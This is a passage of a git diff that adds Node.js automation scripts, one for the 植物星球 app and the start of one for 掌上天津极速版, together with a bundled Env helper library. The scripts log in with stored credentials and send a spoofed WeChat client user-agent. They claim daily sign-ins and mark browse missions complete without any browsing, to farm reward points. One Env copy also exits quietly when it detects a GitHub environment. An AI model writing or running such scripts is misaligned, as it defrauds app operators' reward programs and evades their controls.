0x80; if (index <= 56) { for (var i = index; i < 56; i++) buffer[i] = 0; } else { for (var i = index; i < 64; i++) buffer[i] = 0; sha256_transform(); for (var i = 0; i < 56; i++) buffer[i] = 0; } buffer[56] = (count[1] >>> 24) & 0xff; buffer[57] = (count[1] >>> 16) & 0xff; buffer[58] = (count[1] >>> 8) & 0xff; buffer[59] = count[1] & 0xff; buffer[60] = (count[0] >>> 24) & 0xff; buffer[61] = (count[0] >>> 16) & 0xff; buffer[62] = (count[0] >>> 8) & 0xff; buffer[63] = count[0] & 0xff; sha256_transform(); } /* Split the internal hash values into an array of bytes */ function sha256_encode_bytes() { var j = 0; var output = new Array(32); for (var i = 0; i < 8; i++) { output[j++] = (ihash[i] >>> 24) & 0xff; output[j++] = (ihash[i] >>> 16) & 0xff; output[j++] = (ihash[i] >>> 8) & 0xff; output[j++] = ihash[i] & 0xff; } return output; } /* Get the internal hash as a hex string */ function sha256_encode_hex() { var output = new String(); for (var i = 0; i < 8; i++) { for (var j = 28; j >= 0; j -= 4) output += sha256_hex_digits.charAt((ihash[i] >>> j) & 0x0f); } return output; }
+// 完整 Env
+function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) }
diff --git a/backup/zhiwuxingqiu.js b/backup/zhiwuxingqiu.js
new file mode 100644
index 00000000..9b9cbd9a
--- /dev/null
+++ b/backup/zhiwuxingqiu.js
@@ -0,0 +1,269 @@
+/**
+ * 植物星球
+ * cron "30 9 * * *" zwxq.js
+ * 注册:https://www.pftp2012.com
+ * export zwxq= 账号&密码 多账号换行或者#分隔
+ */
+// ============================================================================================================
+const $ = new Env('植物星球')
+const axios = require('axios')
+const md5 = require('md5')
+const env_name = 'zwxq' //环境变量名字
+const env = process.env[env_name] || '' //获取环境变量
+const Notify = 1//是否通知, 1通知, 0不通知. 默认通知
+const debug = 0//是否调试, 1调试, 0不调试. 默认不调试
+let scriptVersionNow = "1.0.0";//脚本版本号
+let msg = "";
+// ==================================异步顺序==============================================================================
+!(async () => {
+ //await getNotice(); //远程通知
+ await main();//主函数
+ await SendMsg(msg); //发送通知
+
+})()
+ .catch((e) => $.logErr(e))
+ .finally(() => $.done());
+//==================================脚本入口函数main()==============================================================
+async function main() {
+ if (env == '') {
+ //没有设置变量,直接退出
+ console.log(`没有填写变量,请查看脚本说明: ${env_name}`)
+ return
+ }
+ let user_ck = env.split('\n')
+ DoubleLog(`\n========== 共找到 ${user_ck.length} 个账号 ==========`);
+ let index = 1 //用来给账号标记序号, 从1开始
+ for (let ck of user_ck) {
+ if (!ck) continue //跳过空行
+ let ck_info = ck.split('&')
+ let userName = ck_info[0]
+ let userPwd = ck_info[1]
+ let user = {
+ index: index,
+ userName,
+ userPwd,
+ }
+ index = index + 1 //每次用完序号+1
+ //开始账号任务
+ await userTask(user)
+ //每个账号之间等1~5秒随机时间
+ let rnd_time = Math.floor(Math.random() * 4000) + 1000
+ console.log(`账号[${user.index}]随机等待${rnd_time / 1000}秒...`)
+ await $.wait(rnd_time)
+ }
+}
+// ======================================开始任务=========================================
+async function userTask(user) {
+ console.log(`\n============= 账号[${user.index}]开始任务 =============`)
+ let ck = await Login(user)
+ await wait(1)
+ //console.log(ck);
+ await Sign(user, ck)
+ await wait(1)
+ await mission(user, '10', ck)
+ await wait(1)
+ await mission(user, '60', ck)
+}
+// =============================================================================================================================
+//登入
+async function Login(user) {
+ try {
+ let userPwd = md5(user.userPwd);
+ let urlObject = {
+ method: 'post',
+ url: `https://api.pftp2012.com/api/Member/Login`,
+ headers: {
+ 'Host': 'api.pftp2012.com',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
+ },
+ data: {
+ userName: user.userName,
+ userPwd: userPwd,
+ keepAlive: true,
+ channel: 10,
+ }
+ };
+ //console.log(urlObject);
+ let { data: result } = await axios.request(urlObject)
+ //let Token = result.Data.MemberInfo.Token;
+ //console.log(result);
+ if (result?.Data) {
+ //打印签到结果
+ DoubleLog(`🌸账号[${result.Data.MemberInfo.MemberName}]` + `🕊登入成功-当前[${result.Data.MemberInfo.MemberPollen}]积分🎉`);
+ } else {
+ DoubleLog(`🌸账号[${user.index}]登入-失败:${result.Msg}❌`)
+ }
+ return result.Data.MemberInfo.Token;
+ } catch (e) {
+ //打印错误信息
+ console.log('以下是报错输出:');
+ console.log(e);
+ }
+}
+//签到
+async function Sign(user, Token) {
+ try {
+ let urlObject = {
+ method: 'get',
+ url: `https://api.pftp2012.com/api/Member/SignIn?channel=10`,
+ headers: {
+ 'Host': 'api.pftp2012.com',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Authorization': 'Bearer' + ' ' + Token,
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
+ },
+ }
+ //
+ let { data: result } = await axios.request(urlObject)
+ //console.log(urlObject);
+ //console.log(result);
+ if (result.Status == 100) {
+ //打印签到结果
+ DoubleLog(`🌸账号[${user.index}]🕊签到成功-获得${result.Data.PollenNum}积分-连续签到${result.Data.ContinuouNum}天🎉`);
+ } else {
+ DoubleLog(`🌸账号[${user.index}]🕊签到:${result.Msg}❌`)
+ }
+ } catch (e) {
+ //打印错误信息
+ console.log(e);
+ }
+}
+//任务
+async function mission(user, id, Token) {
+ try {
+ let urlObject = {
+ method: 'post',
+ url: `https://api.pftp2012.com/api/Member/CompleteMemberMission`,
+ headers: {
+ 'Host': 'api.pftp2012.com',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Authorization': 'Bearer' + ' ' + Token,
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
+ },
+ data: {
+ type: id,
+ channel: 40,
+ }
+ }
+ //
+ let { data: result } = await axios.request(urlObject)
+ //console.log(urlObject);
+ //console.log(result);
+ if (result?.Status == '100') {
+ //打印签到结果
+ DoubleLog(`🌸账号[${user.index}]` + `🕊浏览任务id:${id}成功,获得${result.Data}积分🎉`);
+ } else {
+ DoubleLog(`🌸账号[${user.index}]浏览任务失败:${result.Msg}❌`)
+ }
+ } catch (e) {
+ //打印错误信息
+ console.log(e.response.data);
+ }
+}
+/**
+ * =========================================================发送消息=============================================
+ */
+async function SendMsg(message) {
+ if (!message) return;
+ if (Notify > 0) {
+ if ($.isNode()) {
+ var notify = require("../sendNotify");
+ await notify.sendNotify($.name, message);
+ } else {
+ // $.msg(message);
+ $.msg($.name, '', message)
+ }
+ } else {
+ console.log(message);
+ }
+}
+/**
+ * =====================================================双平台log输出==========================================
+ */
+function DoubleLog(data) {
+ if ($.isNode()) {
+ if (data) {
+ console.log(`${data}`);
+ msg += `\n${data}`;
+ }
+ } else {
+ console.log(`${data}`);
+ msg += `\n${data}`;
+ }
+
+}
+/**
+* ======================================================等待 X 秒============================================
+*/
+function wait(n) {
+ return new Promise(function (resolve) {
+ setTimeout(resolve, n * 1000);
+ });
+}
+/**
+* ======================================================随机等待 1-5 秒============================================
+*/
+function sjwait() {
+ return new Promise(function (resolve) {
+ let waitTime = Math.floor(Math.random() * 4000 + 1000);
+ setTimeout(resolve, waitTime);
+ });
+}
+// ==========================================================13位时间戳=====================================================
+function getTimestamp() {
+ return new Date().getTime();
+}
+//===============================================网络请求httpRequest=========================================
+function httpRequest(options, timeout = 1 * 1000) {
+ method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get";
+ return new Promise(resolve => {
+ setTimeout(() => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ try { data = JSON.parse(data); } catch (error) { }
+ }
+ } catch (e) {
+ console.log(e);
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ }, timeout)
+ })
+}
+//==============================================Debug模式===============================================
+function debugLog(...args) {
+ if (debug) {
+ console.log(...args);
+ }
+}
+//===============================================获取远程通知========================================
+async function getNotice() {
+ try {
+ const urls = [
+ "https://tfapi.cn/tl.json",
+
+ ];
+ let notice = null;
+ for (const url of urls) {
+ const options = { url, headers: { "User-Agent": "" }, };
+ const result = await httpRequest(options);
+ if (result && "notice" in result) {
+ notice = result.notice.replace(/\\n/g, "\n");
+ break;
+ }
+ }
+ if (notice) { $.DoubleLog(notice); }
+ } catch (e) {
+ console.log(e);
+ }
+}
+//================================================固定API===============================================================================================
+function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("../sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) }
+//Env rewrite:smallfawn Update-time:24-08-09 newAdd:DoubleLog & SendMsg
diff --git a/backup/zstjjsb.js b/backup/zstjjsb.js
new file mode 100644
index 00000000..21c36799
--- /dev/null
+++ b/backup/zstjjsb.js
@@ -0,0 +1,243 @@
+/**
+ * new Env("掌上天津极速版")
+ * cron 5 15 * * * zstjjsb.js
+ * Show:
+ * 变量名:zstjjsb_data
+ * 变量值:http://bbs.zaitianjin.net/zstj/v2.8/index.php 请求body(txt)中 => userId的值&salf的值
+ * scriptVersionNow = "0.0.1";
+ */
+
+const $ = new Env("掌上天津极速版");
+const ckName = "zstjjsb_data";
+const Notify = 1; //0为关闭通知,1为打开通知,默认为1
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = '&'; //多变量分隔符
+const CryptoJS = require("crypto-js")
+let scriptVersionNow = "0.0.1";
+
+
+let msg = "";
+
+
+async function start() {
+ //await getVersion("smallfawn/QLScriptPublic@main/zstjjsb.js");
+ //await getNotice();
+
+ let taskall = [];
+ for (let user of $.userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.task());
+ $.DoubleLog(`等待10s`)
+ await $.wait(10000);
+ }
+ }
+ await Promise.all(taskall);
+}
+
+class UserInfo {
+ constructor(str) {
+ this.index = ++$.userIdx;
